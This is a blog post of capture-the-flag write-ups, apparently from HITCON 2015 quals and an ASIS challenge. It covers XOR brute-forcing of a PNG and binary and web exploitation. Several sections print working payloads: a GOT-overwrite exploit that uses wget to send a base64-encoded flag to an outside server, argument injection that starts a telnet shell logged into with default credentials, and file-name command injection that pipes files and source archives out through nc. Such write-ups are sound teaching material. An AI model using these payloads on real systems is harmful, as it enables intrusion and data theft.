This challenge was solved by one of my teammates, gym and me and the write up was written by gym.

In this challange we were provided with a flag.puzzle data file and a x86_64 binary called encrypt. After loading the binary into IDA we can see that it “encrypts” a file with a XOR key (received as command line argument) but in an unusual manner. First, it splits the input into 20 equally sized blocks and each block is XORed with the same byte. In the case of the flag file these blocks are 57 bytes long (except the last one).

First, we decoded the first block with all the possible keys and printed the output to check if there was any plain text output or known file header. Scrolling throught the results we spot a PNG header thus we realised that the encoded file was a PNG image.

After this, we made a regex for all the possible PNG headers and brute forced all blocks and searched the output for these headers. This way we managed to decrypt the first, second and the last blocks.

The next step was to find a structure in the png image bytes that we could use to verify if the brute forced data is correct. In the PNG file format before each scanline there is a filter byte with the possible values 0-4. The PNG header told us that the image size is 912x912 and color mode is 0x3 with the bit depth of 1. This meant that a scanline is 114 (912/8) bytes long so each 115th byte (starting with the first) had to be less than four (it turned out fast it should be always the value 0).

So we bruteforced the following blocks inflated the compressed data and checked against the above mentioned property. This way we succesfully decoded the 4th block, however the rest of the block resulted with many false positives.

So we dumped all the uncompressed image data that passed the check into bitmap images and manually selected the correct one (we could automatize this, but it could be checked very easily manually too as the QR code is started to take form line by line).

The xor keys were: 101, 48, 86, 195, 120, 255, 75, 191, 247, 71, 55, 227, 111, 83, 38, 76, 37, 244, 209, 27

With this method we managed to decode the rest of the image, which was a QR code for the flag:

hitcon{qrencode -s 16 -o flag.png -I H --foreground 8F77B5 --background 8F77B4}

Our bruteforcer code was (C#):

static byte[] Deflate(byte[] compressedData)
{
    var msOut = new MemoryStream();
    try
    {
        using (var deflate = new DeflateStream(new MemoryStream(compressedData), CompressionMode.Decompress))
        {
            while (true)
            {
                var c = deflate.ReadByte();
                if (c < 0)
                    break;
                msOut.WriteByte((byte)c);
            }
        }
    }
    catch { }
    return msOut.ToArray();
}
 
static void PuzzLeng()
{
    var rawImageData = File.ReadAllBytes(@"flag.puzzle").Skip(0x60).Take(1025 - 2 - 4).ToArray();

    var strideLen = 1 + 912 / 8;
    var validLen = 912 * strideLen;

    for (int bf = 0; bf < 256; bf++)
    {
        var imgData = rawImageData.ToArray();

        int currIdx = 0;
        for (var i = 0; i < 18; i++)
            imgData[currIdx++] ^= 48;

        for (var i = 0; i < 57; i++)
            imgData[currIdx++] ^= 86;

        for (var i = 0; i < 57; i++)
            imgData[currIdx++] ^= 195;

        for (var i = 0; i < 57; i++)
            imgData[currIdx++] ^= (byte)bf;
            
        // ...


        var decompr = Deflate(imgData.Take(currIdx).Concat(Enumerable.Repeat((byte)0x00, 1000)).ToArray());
        if(decompr.Length == 0) continue;

        var bmp = new Bitmap(912, 912);
        for (int y = 0; y < 912; y++)
        {
            var strideStart = y * strideLen;
            if (strideStart + strideLen > decompr.Length)
                break;

            if (decompr[strideStart] != 0)
                break;

            for (int x = 0; x < 912; x++)
            {
                var b = decompr[strideStart + 1 + x / 8];
                var bitVal = ((b >> (7 - (x % 8))) & 1) == 1;
                bmp.SetPixel(x, y, bitVal  Color.Red : Color.Black);
            }
        }
       
        bmp.Save(@"puzzleng\img_" + currIdx + "_" + bf + ".png", ImageFormat.Png);
    }
}

This challenge was solved by and the write up was written by one of my teammates, akg.

Open any non-existing webpage, like this: https://ctf2015.hitcon.org/asd

Oh 404 not found
Ok, ok I know ... here is your flag: hitcon{do_you_wanna_play_a_game?enjoy_hitcon_ctf_2015_quals:)}

This challenge was solved by one of my teammates, @kutyacica and me and the write up was written by me.

This was a binary which read 1024 bytes from stdin to BSS and indexes into the buffer with the buffer’s first 8 bytes as an index and writes to that position \x10\x00\x00\x00\x00\x00\x00\x00 and the buffer’s 8-16 bytes.

As the index is signed, we can use negative numbers and write to address before the buffer. Although we could only use 16-byte aligned addresses.

So we overwrite the GOT loading structures which caused the dl_fixup to overwrite arbitrary memory. As we did not know the address of the system, we also had to make dl_fixup to calculate for us. Fortunately it could be done as it called add instruction on some of our inputs. So we queried the __libc_start_main’s address (already in GOT: 0x600B80) and added the difference to main (system-start_main = 0x46640-0x21dd0 = 0x24870).

As the stdin, stdout, stderr was closed, we used a simple wget callback to our server: http://cuby.hu/x/\$(cat flag|base64).

The exploit was:

while true; do python -c "from pwn import *; bufStart=0x600bd0; where1=p64(0x24870); 
where2='X'*8; what='B'*8; yval=p64(0x600B80-8); y=p64(bufStart+8*8); rdi=p64(bufStart+400); 
payload='\x80'+'\xff'*7 + p64(bufStart) + where1 + rdi + where2 + p64(7) + yval*9 + 
p64(bufStart) + y + p64(0x42)*16 + p64(bufStart+248) + p64(bufStart-8) + p64(bufStart+272) + 
'A'*4 + '\x0a\x03\xFF\xFF' + what + p64(0x43)*13 + 'A'*8 + 
'wget http://cuby.hu/x/\$(cat flag|base64);sleep 10;'; 
print payload+cyclic(1024-len(payload))"|nc 52.68.211.239 10000; sleep 0.1; done

This challenge was solved by one of my teammates, nguyen and me and the write up was written by me.

Run this on one thread:

while true; do wget -qO- "http://52.68.245.164/?args[]=abc%0a&args[]=twistd&args[]=telnet" > /dev/null; done

This works because $ in regex allows \n too (\Z would not allow this), so it will run the following commands:

/bin/orange abc
twistd telnet

Connect on another thread: nc 52.68.245.164 4040 (this is the port of the twistd telnet service), user/pass: admin/changeme (default credentials) and execute this until you got the flag: import os;print os.popen("/read_flag").read();

python -c "import sys;sys.stdout.write(\"admin\r\nchangeme\r\nimport os;
print '%r'%os.popen('/read_flag').read();\r\n\")"|nc 52.68.245.164 4040

Sometimes you have to try it multiple times, because the process is killed very fast.

This challenge was solved by and the write up was written by teammates, nguyen and akg

Through testing to know it’s a blind cmd injection in filename of a file upload.

Set a host listen to a port and inject a cmd, ex: filename.txt; ls |nc ip port

To copy the source, find .. -iname '*gz'|xargs cat|nc ip port, analyze it, we have expl:

~  echo "cat /home/asis/flag.txt | nc ip port" | base64
<base64string>
~ a.txt| echo <base64string> | base64 -d | sh
ASIS{72a126946e40f67a04d926dd4786ff15}